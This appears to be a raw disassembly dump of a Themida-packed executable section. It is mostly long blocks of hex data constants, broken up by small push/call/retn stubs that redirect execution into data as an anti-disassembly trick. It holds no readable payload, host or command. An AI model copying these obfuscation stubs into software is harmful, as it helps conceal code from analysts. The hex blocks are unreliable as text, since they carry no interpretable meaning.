		dd 75E3279Ah, 54CA798Eh, 3C6D928Dh, 9F972142h, 24B50EA8h
		dd 2D75922Bh, 22CE217Bh, 22A7CF60h, 7F84279Ah, 4E2D7A8Eh
		dd 66252382h, 22BE2377h, 77E127A9h, 0BBEBAC17h,	0B1A6A4C8h
		dd 22A437DCh, 0CC16E49Ah, 63A061Dh, 95E4C4B8h, 0F35B70CFh
		dd 5D21AA41h, 48A233A0h, 214C726Ah, 2A42735h, 0ABF9E4C7h
		dd 0A3A00321h, 3BA003E2h, 67A42753h, 318FE4FCh,	0AC3CDEFAh
		dd 22A1AF65h, 671E2735h, 0D7838735h, 0AF8DF7B2h, 24B5384Fh
		dd 1035A2DAh, 0BF2D21B8h, 24B52D09h, 2475A2ACh,	2DE32124h
		dd 22A4211Ah, 1319AC4Dh, 4AA236B5h, 0EAB609FFh,	27801328h
		dd 0ABDBEB27h, 33B89EEFh, 0F311D833h, 44A23695h, 5ED8E9CCh
		dd 56DBA22Bh, 22CE2147h, 22A7CFFEh, 7D8427D4h, 5E2D78A9h
		dd 66252311h, 22BE23BEh, 75E3274Dh, 95BCCD65h, 1A634CB7h
		dd 22CEF756h, 22A7CF86h, 7884276Ah, 762D7DF6h, 662523BEh
		dd 22B32369h, 70E627A6h, 0F48DE390h, 0CF21AEEEh, 0E4A236DCh
		dd 33A2F6EFh, 314D6033h, 5FA4279Ah, 84DAE3BDh, 0E8156B2Eh
		dd 7A7AB378h, 6BB983CBh, 8BCCAF35h, 0CA5253CFh,	22A42732h
		dd 6F53BF12h, 427C51F0h, 43C446C6h, 16257E32h, 8A11F48Dh
		dd 73A44DA3h, 22A42482h, 0E1FD0735h, 6E8AEC3h, 6E0A649h
		dd 22A43DA2h, 0E1F56653h, 48586861h, 0AB0BB079h, 3395E6FFh
		dd 77719833h, 975B5830h, 24B5289Ch, 0AF6EACC0h,	36D058D6h
		dd 264EA7AFh, 2D55AAFDh, 0F25B217Bh, 0CAF6275Fh, 22A42799h
		dd 78677D6Dh, 2680732Fh, 268063D2h, 22A427BDh, 0E1677596h
		dd 22F1BA43h, 0A72D2124h, 24B501FFh, 0CAF22727h, 22A427A5h
		dd 7C677973h, 26805320h, 26806355h, 22A42770h, 13677173h
		dd 7EEC9953h, 2D4D05A2h, 6FA427A6h, 0B094C901h,	0DDF64313h
		dd 58CF5E76h, 0A762AC26h, 24B521E4h, 4F29ACDDh,	4AA2366Bh
		dd 0FF7081F6h, 16257D00h, 3B3E2A8Dh, 74A44DA3h,	22A42482h
		dd 0E1FA0735h, 6D0AEC4h, 6E0A649h, 22A433A2h, 0E1F26153h
		dd 0DB31ACAEh, 0DDA236CAh, 33ABF6DFh, 71A44D33h, 22A42472h
		dd 0E1FF074Dh, 6F8AEFDh, 6E0A657h, 22A43CADh, 0E1F764D4h
		dd 0F99C35BDh, 22444F73h, 284DF010h, 0D6A4274Dh, 3D951DB9h
		dd 0AB197902h, 5D21AA93h, 44A233A0h, 2D8249D0h,	22A421B9h
		dd 3872A69Ah, 0DD97CAF6h, 74A44D76h, 22A424BBh,	0E1FA07A9h
		dd 6D0AE8Ah, 6E0A66Eh, 22A43C31h, 0E1F2619Ah, 0CE470D7Eh
		dd 1E8599A6h, 2665AA50h, 0A72D21B8h, 24B50441h,	0CAF72700h
		dd 22A42736h, 79677CBAh, 26807BC4h, 26806327h, 22A4274Ah
		dd 86774EAh, 0B90B3DC5h, 0D719ACBDh, 0A3A23633h, 0E1B0EC4Bh
		dd 0A974D81Ah, 33AF4A13h
		dd 0CB21AE55h, 9BA236BDh, 1AD1B2A0h, 487CAB0Ch,	214C7235h
		dd 2A4279Ah, 0ABF9E410h, 0A3A003CAh, 3AA00317h,	67A427A9h
		dd 76CE481h, 0AB2817C2h, 33A452A8h, 48A0039Ch, 214C764Dh
		dd 2A427A6h, 0ABFDE40Ah, 0A3A003E5h, 3BA00390h,	63A4276Ah
		dd 3824E464h, 0ABA063F2h, 26A5B2C4h, 0E2AE21B7h, 21A4A35Ch
		dd 22CE27A9h, 22A7CF81h, 7F84276Ah, 4E2D7AF6h, 662523BEh
		dd 22BC2369h, 77E127A6h, 0F520C790h, 972DBA8Ch,	24B5134Dh
		dd 2475A2ACh, 48EB2124h, 214C729Ah, 2A4274Dh, 0ABF9E4FBh
		dd 0A3A0033Fh, 36A003EDh, 67A427D4h, 0A981E43Fh, 471104FAh
		dd 4AA2369Ch, 77C5EAF5h, 42F677F6h, 74952832h, 78FC7DF6h
		dd 2E802355h, 44CE39F5h, 0ABDEA58Fh, 33A2A60Fh,	0F311D84Bh
		dd 48A236A9h, 214C7753h, 2A427A9h, 0ABFCE48Ch, 0A3A0032Eh
		dd 35A00371h, 62A4279Ah, 0A760E41Dh, 0E51B1867h, 0AFDC222Ah
		dd 36D0582Ch, 77A44DD2h, 22A42482h, 0E1F90735h,	6C8AEC7h
		dd 6E0A649h, 22A430A2h,	0E1F16253h, 0ECFF0818h,	13F5F72Bh
		dd 33A462EFh, 0E2277E33h, 71A44DBEh, 22A424A5h,	0E1FF07A6h
		dd 6F8AE08h, 6E0A6ADh, 22A43AD0h, 0E1F7646Ah, 0A1D382FAh
		dd 86F5C21Bh, 0F0248837h, 22A2CE28h, 0A5CA2753h, 0DE983C15h
		dd 865A25Dh, 0A3C2217Bh, 0A9434BEFh, 33B0CE1Fh,	75A44D4Bh
		dd 22A4244Eh, 0E1FB0753h, 6D8AEF6h, 6E0A6D0h, 22A43B6Eh
		dd 0E1F36035h, 7CBEC151h, 1881057Dh, 22ABCFC9h,	0DCC72753h
		dd 4941C430h, 2D4353B2h, 0A9D04DC7h, 242C2816h,	0ABA4279Ah
		dd 33B38AC0h, 301D79A0h, 0A9B05802h, 3387B234h,	0C47EA7D2h
		dd 3719AE29h, 0A9A2361Bh, 71A44D81h, 22A424A5h,	0E1FF07A6h
		dd 6F8AE08h, 6E0A6ADh, 22A432D0h, 0E1F7646Ah, 0AF2FAF26h
		dd 24B52AD7h, 22CE3CC6h, 22A7CFF0h, 7C842753h, 562D796Ah
		dd 662523F0h, 22B1234Eh, 74E22735h, 1341DD59h, 33AE56D0h
		dd 48BFACA0h, 214C7453h, 2A427A9h, 0ABFFE48Fh, 0A3A00336h
		dd 3BA00371h, 61A4279Ah, 0EA16E41Eh, 0F3166B55h, 0BF2DFF60h
		dd 24B524ACh, 1205925Fh, 0A762217Bh, 24B521E4h,	932916DDh
		dd 4AA23640h, 0A972C827h, 0A8023D2h, 0A9882047h, 33807669h
		dd 0F311D86Ch, 2DA2363Ah, 0A729F525h, 24B05332h, 22A42E4Eh
		dd 0C7E1CC53h, 0DD5AF634h, 0A9C2016Ah, 0F25B789Dh, 0CAF2275Fh
		dd 22A42799h, 7C67796Dh, 2680532Fh, 268063D2h, 22A427B2h
		dd 0C6677192h, 43E7C869h, 0AB2CF145h, 33ABDE07h, 0CF21AE4Bh
		dd 48A236AEh, 214C7453h, 2A427A9h, 0ABFFE48Fh, 0A3A00336h
		dd 3AA00371h, 61A4279Ah, 89E3E41Eh, 44380087h, 48E4F6D8h
		dd 214C75A9h, 2A427D4h,	0ABFEE430h, 0A3A00361h,	3AA003DEh
		dd 60A4274Dh, 0E28DE4F4h, 0A9E7BADCh, 74A44DA9h, 22A4243Ch
		dd 0E1FA076Ah, 6D0AE6Bh, 6E0A69Eh, 22A43049h, 0E1F261A6h
		dd 4C6646F6h, 254DB2A2h, 222F21C5h, 50DA2E3h, 22CE2124h
		dd 22A7CFCBh, 7B84274Dh, 6E2D7E65h, 66252377h, 22B9238Dh
		dd 73E527D4h, 0AC1235A9h, 2910D5DCh, 9DB4E388h,	3CA63DB1h
		dd 22A48B4Fh, 0ED254153h, 0A729A158h, 24B09A44h, 72729065h
		dd 437DAC55h, 0DD802313h, 338516D8h, 292128A0h,	42A42753h
		dd 4B59222h, 9DAB21C5h,	95AB46BCh, 0B439AAFEh, 42A23327h
		dd 11769E2Bh, 0B1C5E42Dh, 0B1FA7703h, 0F292EC9h, 43A236F6h
		dd 6A0AE3Ah, 0E4CA9853h, 3939B265h, 22CE215Ch, 22A7CFF1h
		dd 7D842753h, 5E2D786Ah, 662523F0h, 22B8234Eh, 75E32735h
		dd 9E332359h, 0BA7FDD46h, 0EA2E3D76h, 865A2DAh,	22CE21B8h
		dd 22A7CF86h, 7884276Ah, 762D7DF6h, 662523BEh, 22BE2369h
		dd 70E627A6h, 76185590h, 0C3E2A56Fh, 0FDA6786Ah, 0F321E164h
		dd 71A23633h, 0E859A11h, 0A3C2215Ch, 0CA2AEE7Fh, 22A42757h
		dd 8823A3D6h, 22A4AEDBh, 98F4276Ah, 3A69C535h, 26806311h
		dd 22A42DA5h, 211F28A6h, 0B4250527h, 7C0168EEh,	44C4275Fh
		dd 0CA4A43D1h, 22A42724h, 104998F1h, 8D677177h,	549CA08Ch
		dd 2C71B53Eh, 0ABC57D71h, 44A00390h, 7A52F2D4h,	22B5AE3Ah
		dd 2E4D279Ah, 0A5A4274Dh, 5024C049h, 58CA3D85h,	0DD3980D8h
		dd 33ABF661h, 72A44D6Ch, 22A424DDh, 0E1FC079Ah,	6E0AE15h
		dd 6E0A6A2h, 22A43C57h,	0E1F467A9h, 0C8C9B97Ch,	969AADE9h
		dd 3DAABEh, 0A729218Bh,	24B05332h, 0CAF227CCh, 22A42750h
		dd 7C677989h, 2680535Dh, 268063EBh, 22A42723h, 0BF6771DCh
		dd 0F25BC273h, 0CAF527CCh, 22A42750h, 7B677E89h, 26806B5Dh
		dd 268063EBh, 22A42729h, 4B6776DBh, 9B59B8DBh, 58F2C452h
		dd 989D6D3h, 33AE8214h,	4721AED2h, 0ABA23641h, 33AADEB0h
		dd 0C025419Ch, 0A7623D28h, 24B52177h, 22ABCE14h, 736327A9h
		dd 79853042h, 878CA5A2h, 4F7CE14Fh, 0CDD64FEEh,	0FB1ED1E3h
		dd 0A3B4B3E1h, 0D8460367h, 22CE7075h, 22A7CF81h, 7F84276Ah
		dd 4E2D7AF6h, 662523BEh, 22B22369h, 77E127A6h, 0C62EA690h
		dd 2D759256h, 0ABF221C5h, 33A44EDFh, 0A7297D33h, 24B053E5h
		dd 0DD729042h, 77A44D76h, 22A424BBh, 0E1F907A9h, 6C8AE89h
		dd 6E0A66Eh, 22A43331h,	0E1F1629Ah, 0A72DD29Ah,	24B5274Fh
		dd 22A435BAh, 0A5EB7EA9h, 0FB077313h, 0FAF3C8DDh, 0DFA05F51h
		dd 0ABC766DAh, 33A40EC8h, 0F321E1A0h, 71A23655h, 2B85AAA0h
		dd 0BACC21C5h, 2D2346BAh, 22A42FB7h, 202F289Ah,	74A4274Dh
		dd 690A6FFh, 3CFCA85Bh,	22B2A4A6h, 334D27D4h, 5BA4276Ah
		dd 0E23DBAA8h, 0A9533185h, 0B35A0C89h, 6098E616h, 2D7592ACh
		dd 22CE21B8h, 22A7CF84h, 7A84276Ah, 662D7FF6h, 662523BEh
		dd 22B02369h, 72E427A6h, 2E4DC690h, 2BA427A9h, 0FF60C2A6h
		dd 9DE3E1B9h, 2D9B281Ch, 22A4251Ch, 0AFB5924Dh,	36D05823h
		dd 0DD269155h, 8B21AE79h, 0D7A236C9h, 2475A2ACh, 48F32124h
		dd 214C729Ah, 2A4274Dh,	0ABF9E4FBh, 0A3A0033Fh,	3AA003EDh
		dd 67A427D4h, 8E4E43Fh,	0A22D04E7h, 0B5CCF144h,	0A9DCD809h
		dd 6A0A66Dh, 35A12A3Ch,	0CAF327C3h, 22A427D7h, 7D67784Ah
		dd 26805BBCh, 2680631Bh, 22A4275Ah, 46770E1h, 444D5008h
		dd 0D12FDD22h, 6C66A6B2h, 0F311D89Fh, 48A2363Ah, 214C719Ah
		dd 2A4274Dh, 0ABFAE4F8h, 0A3A00327h, 36A003EDh,	64A427D4h
		dd 0AF95E43Ch, 36D058B0h, 71A44D9Ch, 22A424A5h,	0E1FF07A6h
		dd 6F8AE08h, 6E0A6ADh, 22A432D0h, 0E1F7646Ah, 0F25BB852h
		dd 0CAF627F0h, 22A4274Eh, 78677D86h, 268073DAh,	26806328h
		dd 22A427CEh, 0A3677528h, 0B2B5A7E9h, 0AD1B98A8h, 42C46274h
		dd 22A2ACA9h, 978D2753h, 24B5250Ch, 0ABC5D55Fh,	33B12AEFh
		dd 73A44D33h, 22A42472h, 0E1FD074Dh, 6E8AEFFh, 6E0A657h
		dd 22A432ADh, 0E1F566D4h, 0AAAB95FAh, 22A42733h, 3FCDBA13h
		dd 0A762215Ch, 24B52177h, 74A44D10h, 22A42441h,	0E1FA07D4h
		dd 6D0AE34h, 6E0A631h, 22A4329Eh, 0E1F2614Dh, 9FADEFB5h
		dd 24B52BCAh, 8ADDE0C1h, 11A4185h, 6A0A652h, 4843D154h
		dd 233116CCh, 78A2366Eh, 222228F7h, 78A42753h, 2D759256h
		dd 22CE21C5h, 22A7CF3Bh, 7B842735h, 6E2D7E59h, 66252369h
		dd 22B32382h, 73E52753h, 756A936Ah, 5D21AA65h, 48A2331Eh
		dd 214C7735h, 2A4279Ah,	0ABFCE415h, 0A3A003E2h,	37A00317h
		dd 62A427A9h, 243E484h,	22CEF795h, 22A7CF67h, 7884279Ah
		dd 762D7D8Eh, 66252382h
		dd 22BC2377h, 70E627A9h, 7532B617h, 0B72DBC23h,	24B501ECh
		dd 36A99213h, 0A72D215Ch, 24B528CFh, 0A729F4E5h, 24B09A2Fh
		dd 1C1A772Dh, 0ABB40393h, 0A9AB0331h, 22A4279Ch, 2DB192C6h
		dd 0BF8D21B7h, 24B535FEh, 395B256h, 22CE21C5h, 22A7CF3Dh
		dd 7D842735h, 5E2D7859h, 66252369h, 22BC2382h, 75E32753h
		dd 5796B16Ah, 9F2FFD1Dh, 24B50F8Fh, 22CEFFBEh, 22A7CFCFh
		dd 7F84274Dh, 4E2D7A65h, 66252377h, 22B3238Dh, 77E127D4h
		dd 2E2359A9h, 0A8F6962Ah, 5821AA49h, 48A233F0h,	214C70A6h
		dd 2A42753h, 0ABFBE4F6h, 0A3A003A8h, 39A0032Eh,	65A42735h
		dd 0AD5BE4CDh, 5659B7AFh, 72340AD2h, 71DFD1EAh,	22CEB7BFh
		dd 22A7CF82h, 7C84276Ah, 562D79F6h, 662523BEh, 22B12369h
		dd 74E227A6h, 72C0AE90h, 22A43641h, 169E6FD4h, 0B3BCD3CAh
		dd 627BB3BFh, 0CAFB2DC9h, 70F44A6Fh, 13AB7EF6h,	786CAC35h
		dd 3E2D7EF1h, 77A44DF0h, 22A42482h, 0E1F90735h,	6C8AEC7h
		dd 6E0A649h, 22A43DA2h,	0E1F16253h, 70E96DA8h, 0DD36173Ah
		dd 33BFBAFFh, 0FF192433h, 0ABA236BFh, 3385B6C8h, 77A44DA0h
		dd 22A424BBh, 0E1F907A9h, 6C8AE89h, 6E0A66Eh, 22A43B31h
		dd 0E1F1629Ah, 0CD3BDF3Eh, 39BCE9C9h, 13310EFBh, 0E5A236BAh
		dd 33B78E51h, 22A4286Ch, 22A1CE35h, 0E7B279Ah, 0DD042D07h
		dd 3385B633h, 74A44D55h, 22A42441h, 0E1FA07D4h,	6D0AE34h
		dd 6E0A631h, 22A4329Eh,	0E1F2614Dh, 0BFA5DE4Fh,	24B534F2h
		dd 29E99A22h, 0A72D21C5h, 24B502BBh, 0CAF3275Fh, 22A42799h
		dd 7D67786Dh, 26805B2Fh, 268063D2h, 22A427B1h, 8D677093h
		dd 508C2E97h, 2441AA1Ch, 0A72F218Bh, 24B53464h,	0ED3EBA2Bh
		dd 612D2147h, 0E719AAA8h, 0AFA236D8h, 366B53DFh, 22979E33h
		dd 8657279Ah, 221C14A6h, 29A427A6h, 0E0A75393h,	662F27B1h
		dd 0CAF72BF0h, 22A4276Ah, 3567A66Eh, 0ABA4279Ah, 0ABB40311h
		dd 79B003E2h, 830410EBh, 0A944D8A9h, 0DDA00390h, 8719148Ah
		dd 48A23639h, 214C759Ah, 2A4274Dh, 0ABFEE4FCh, 0A3A00307h
		dd 36A003EDh, 60A427D4h, 0A9FEE438h, 3395C688h,	9F1A419Ch
		dd 9F2F4677h, 24B53A43h, 9FDE9ADEh, 0AF2921BDh,	24B0E822h
		dd 40F12D2h, 4B2114ADh,	9A23690h, 204DE682h, 6CA8AB47h
		dd 0BC22A427h, 8B2D4D9Ah, 0F444F521h, 2D787064h, 222CEE7h
		dd 0F305E983h, 6AD98BA4h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 898DC351h, 11039195h
		dd 59E906h, 6A0000h, 3E853h, 5B200000h,	5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 0D67D9CC3h, 0AB0AD733h, 0F912A11Ah
		dd 57006A61h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1504h
		dd 0C3574700h, 0BE9D876h, 6C000000h, 0C7F4BDEBh, 0AC6320FBh
		dd 60C3A719h, 8B61F5F8h, 51006AC0h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1704h, 0C3514100h, 0F2432A13h, 0FE9h, 0DC028200h
		dd 0D953E55Bh, 269C9847h, 0FC030318h, 25F1BD83h, 75000611h
		dd 3DBD8309h, 61124h, 53501974h, 0B9B8C08Bh, 89000004h
		dd 110A4985h, 909D8D06h, 0FF0613B2h, 83585BD3h,	11243DBDh
		dd 17740006h, 0B9B85350h, 89000004h, 110A4985h,	319D8D06h
		dd 0FF0613AFh, 6A585BD3h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 0AC0DC357h,	7F58F1A3h
		dd 0DE9F8h, 1C260000h, 0DE0BC045h, 29B74385h, 8BE124F7h
		dd 7E9C0h, 0A2110000h, 45C5C18Bh, 0C18B405Fh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 97C35545h, 0BE1684F1h
		dd 0D24F7EFFh, 8E856h, 0B2BE0000h, 0C8209A1Bh, 9D89B151h
		dd 6112DADh, 4EB5Eh, 6A000000h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 0B2C9C356h,	0F1B0DCCh
		dd 9529B791h, 6113181h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 18h, 0E3C35242h, 9A1449D6h, 12358D89h, 858D0611h
		dd 6112795h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Bh,	6FC35545h, 57F24A04h, 0BE86A945h, 2F9C447Fh, 89F18B50h
		dd 6A2404h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
		dd 51410000h, 5F53C0C3h, 0AE8h,	24397C00h, 0AE591A73h
		dd 66BE6ED6h, 6A5EF38Bh, 6AFC00h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 0C6C35545h,	725348BBh, 0BC858D37h
		dd 6A0614D3h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 4857C357h, 0BF0FE82Fh,	5C083FBh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0F9C35242h
		dd 0B3A6CB3Ah, 8B6691F5h, 14E850F8h, 0E9000000h, 0BB5192D1h
		dd 19F1723Dh, 742F04F2h, 272FCDBEh, 0E8E09B0Ah,	0Dh, 0BEDA80BFh
		dd 0DC1B9CDBh, 0BA7C4062h, 5EF98BAEh, 2404895Eh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 6CC35242h, 11E8h
		dd 8B348300h, 2FCB2963h, 0BAF8E855h, 64B21132h,	0B70F60CAh
		dd 6A5EF1h, 71B9D3BFh, 6A006A09h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 61BAC357h
		dd 0C719D89h, 95FF0611h, 611075Dh, 0DF5B529h, 9D8D0611h
		dd 614A420h, 4E9BD01h, 0D3FF0611h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 14h, 0BDC35242h,	2294BF66h, 7AD85FFh
		dd 6A0611h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 0D1869DC3h, 1F21B58Bh, 0F9E90611h, 0E8000006h
		dd 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 614D3C6h
		push	0
		push	edx
		call	sub_586F9E
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_586F9E	proc near		; CODE XREF: Themida_:00586F96p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 15h
		inc	edx
		push	edx
		retn
sub_586F9E	endp

; ---------------------------------------------------------------------------
		dw 0BCAEh
		db  81h	; 
		db 0BDh	; ½
		db 0A9h	; ©
		db  13h
		db  11h
		db    6
		db 0D0h	; Ð
		db    7
		db    0
		db    0
		db  0Fh
		db  86h	; †
		db  3Dh	; =
		db    1
		db    0
		db    0
		db  8Bh	; ‹
		db 0BDh	; ½
		db  25h	; %
		db    6
		db  11h
		db    6
		db  8Bh	; ‹
		db  9Dh	; 
		db 0EDh	; í
		db    1
		db  11h
		db    6
		db  6Ah	; j
		db    0
		db  53h	; S
		db 0E8h	; è
		db    3
		db    0
		db    0
		db    0
		db  20h
		db  5Bh	; [
		db 0C3h	; Ã

; =============== S U B	R O U T	I N E =======================================



sub_586FD7	proc near

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 18h
		inc	ebx
		push	ebx
		retn
sub_586FD7	endp

; ---------------------------------------------------------------------------
		db 8Ch
		dd 997AC67Ch, 0BDBFBF66h, 2F61CE81h, 0E3810CCEh, 100h
		dd 0DB0BF38Bh, 9F850Fh,	81600000h, 47F17CEEh, 0EE828h
		dd 0E60D0000h, 627E68E4h, 0E934695Ah, 29F84D68h, 206D8D8Bh
		dd 615A0611h, 0D195BD83h, 0F000614h, 5784h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 0C4A77263h, 76E12F17h, 6EE934h, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 0CD591BC3h
		dd 0ABB1AF10h, 0A5BD8B1Bh, 6606111Eh, 0BEC1F781h, 0D19585C7h
		dd 10614h, 0BE660000h, 2DE92401h, 29000000h, 110B6595h
		dd 9585C706h, 614D1h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 9A32C351h, 1ED9D8Dh
		dd 6A0611h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 2DF337C3h, 152BF154h, 81F98B66h, 0FFFEFF23h
		dd 0DB8C66FFh, 0C1816660h, 9D8BE3DEh, 6110C25h,	4C3F661h
		dd 2F840Fh, 95FF0000h, 6112191h, 24048950h, 0E855006Ah
		dd 3
; ---------------------------------------------------------------------------
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58712B	proc near

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 15h
		inc	ebp
		push	ebp
		retn
sub_58712B	endp

; ---------------------------------------------------------------------------
		db 6Fh
; ---------------------------------------------------------------------------
		dec	edx
		movzx	edi, si
		mov	edi, 1DE9A971h
		jmp	loc_587579
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_587155
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_587155	proc near		; CODE XREF: Themida_:0058714Dp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 14h
		inc	eax
		push	eax
		retn
sub_587155	endp

; ---------------------------------------------------------------------------
		pushf
		xor	di, 0C1BFh
		mov	al, 0
		push	0
		push	esi
		call	sub_587178
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_587178	proc near		; CODE XREF: Themida_:00587170p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ch
		inc	esi
		push	esi
		retn
sub_587178	endp

; ---------------------------------------------------------------------------
		dd 0BB3B2691h, 0F5CC9A6Fh, 6E914h, 71920000h, 5386AF4Fh
		dd 3115BD8Bh, 70E60611h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 17h, 72C35343h, 0E9C5DECBh, 9, 8220D48Ch
		dd 9CF96A10h, 6A71E4B1h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 94B1C355h, 8BA7FB5Ch
		dd 1132A1B5h, 0D8B60F06h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 14h, 34C35747h, 0B70FF38Bh, 6BAF0h, 870F0000h
		dd 0Ch,	7E9h, 0D80ED500h, 0EF843825h, 6AC38Bh, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 66AB96C3h, 89CFCC34h, 1122898Dh, 0B5015206h,	6113125h
		dd 4E8C15Eh, 0BEA4E681h, 0BD8B1A2Eh, 6110F01h, 6AE2F766h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 0F4DBC353h, 6C724615h, 2810F37h, 8B000000h
		dd 8E9FBh, 72470000h, 9B990663h, 0D82BEB69h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0ABC35242h, 0E850938Dh
		dd 6, 0F786DB78h, 935EF0FBh, 0D5958960h, 6106111Fh, 13A9B5FFh
		dd 6A0611h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
		dd 50400000h, 901AD8C3h, 4BB70585h, 0E98C781Ch,	0Ch, 2928E679h
		dd 56DD1992h, 6CFF3C0Ch, 5E9h, 0A6A2FA00h, 95FFD1A4h, 61105C5h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0BDC35545h
		dd 249A9762h, 0B0D00ADAh, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 0B52302EBh
		dd 6112685h, 950170E6h,	6111429h, 3CF971E4h, 0EE830F61h
		dd 8B000001h, 1125CDB5h, 0D8B60F06h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 0B0C35545h,	800FE59Eh, 4, 1AF0BF66h
		dd 6BAFCh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 22AB32C3h, 0C38BC85Eh, 0A1B58960h
		dd 8906110Eh, 111BA5BDh, 0E8C16106h, 53006A04h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 0D5487DC6h
		dd 13734BACh, 11E9h, 76923400h,	27DF91E7h, 2FD4693Ah, 0EFB0DFC4h
		dd 0F7667236h, 53006AE2h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1704h, 0C3534300h, 0E80A0298h, 816660F5h
		dd 89117CCEh, 111525BDh, 0D82B6106h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 1EC35545h, 0A1BAD141h, 0FCC62632h
		dd 3DBD2B58h, 2B061113h, 0E6880FD8h, 6A000000h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 0BA26C350h, 232E9D50h, 0B986F685h, 7, 92F54FBFh, 0C18378h
		dd 860FD93Bh, 0ADh, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 17h, 92C35646h, 66930BC3h,	0C1F6D98Ch, 7A840F04h
		dd 53000000h, 8F0F5Fh, 0FF000000h, 11219195h, 43B8BE06h
		dd 6A5B4ED7h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 7E7C355h, 4B0675A1h, 999D895Dh
		dd 2B06112Ah, 0C5BD8BC3h, 3D061131h, 834h, 2B860Fh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 7087B2C3h, 0BF0F9E9Ch, 0BE9F1h, 8B660000h, 31C08BFAh
		dd 111D39BDh
; ---------------------------------------------------------------------------
		push	es


loc_587579:				; CODE XREF: Themida_:00587145j
		mov	eax, ebx
		mov	ebx, eax
		push	edx
		jb	loc_587587
		movzx	edi, dx


loc_587587:				; CODE XREF: Themida_:0058757Ej
		pop	esi
		mov	dword ptr [ebp+6112199h], 54E937D7h
		push	0
		push	eax
		call	sub_58759D
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58759D	proc near		; CODE XREF: Themida_:00587595p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ah
		inc	eax
		push	eax
		retn
sub_58759D	endp

; ---------------------------------------------------------------------------
		db 4Dh,	9Ah, 22h
		dd 65F12677h, 1BF1B503h, 0C08B0611h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 0CBC35545h,	0AE7D64FBh, 0A9B589F2h
		dd 81061112h, 1113A9BDh, 7D006h, 30850F00h, 2B000000h
		dd 1121C1BDh, 0A985FF06h, 6A061113h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 0F105C352h
		dd 50BEF48Ah, 0FF777CEFh, 1113A9B5h, 19B53306h,	0FF061113h
		dd 1105C595h, 68D0F06h,	89000000h, 1126ED85h, 78B89006h
		dd 6A123456h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 18042444h, 40000000h, 9DD3C350h, 8155113Fh, 34E992E6h
